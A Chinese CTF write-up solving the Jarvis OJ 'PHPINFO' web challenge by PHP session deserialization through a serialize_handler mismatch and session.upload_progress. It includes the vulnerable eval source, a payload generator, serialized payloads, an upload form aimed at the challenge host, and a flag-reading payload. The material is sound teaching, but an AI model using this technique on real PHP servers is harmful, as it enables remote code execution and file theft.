Jarvis OJ WEB PHPINFO
session反序列化的題目,很少做,貌似也不會,這裏記一下
打開題目可以得到源碼:
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>
粗略看一下代碼,可以發現OowoO類中存在命令執行:
很顯然只要我們能夠控制$this->mdzz
這個變量那我們就能爲所欲爲!!!
不過關鍵的是我們該如何控制這裏呢,這裏不存在unserialize反序列化漏洞
而且沒有明顯的傳值的利用方式,唯一可以看見的是:ini_set('session.serialize_handler', 'php');
再查看一下phpinfo(),默認session.serialize_handler爲php_serialize,而這裏卻設置爲php:
看到這裏,已經很明顯了,這裏存在session反序列化問題
看一下這篇文章:PHP Session 序列化及反序列化處理器設置使用不當帶來的安全隱患
主要就是因爲處理器的對應的處理格式不同導致的安全問題,
而且上面這篇文章說的很清楚了,就不再多說
不過這樣還是不夠,因爲我們還是無法控制$this->mdzz
這個變量,這樣就引出了第二個知識點:
上傳進度支持(session.upload_progress)
這樣我們就能夠把我們的數據傳入到session中,然後利用session處理器的問題進行反序列化
這樣我們就能夠控制$this->mdzz
這個變量,然後爲所欲爲 ~~~
查看一下phpinfo():
是的!!!可以利用!!!
首先先構造一個序列化,也就是payload:
<?php
class OowoO{
public $mdzz='var_dump(scandir("/opt/lampp/htdocs/"));';#路徑由phpinfo所知
}
$zz = new OowoO();
$md = serialize($zz)."\n";
echo $md;
#爲了防止轉義,雙引號前面加上\
$payload = "";
for($i = 0; $i < strlen($md); $i++){
if($md[$i] == '"'){
$payload .= "\\\"";
}else{
$payload .= $md[$i];
}
}
echo $payload;
?>
得到:
O:5:"OowoO":1:{s:4:"mdzz";s:40:"var_dump(scandir("/opt/lampp/htdocs/"));";}
O:5:\"OowoO\":1:{s:4:\"mdzz\";s:40:\"var_dump(scandir(\"/opt/lampp/htdocs/\"));\";}
然後我們自己寫一個提交表單頁面:
<!DOCTYPE html>
<html>
<head>
<title>A_dmin</title>
<meta charset="utf-8">
</head>
<body>
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
提交進行抓包,,,,
在每個前面加上一個|
,然後在文件名處修改爲payload得到:
讀取flag:
class OowoO{
public $mdzz='var_dump(readfile("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));';
}
得到flag: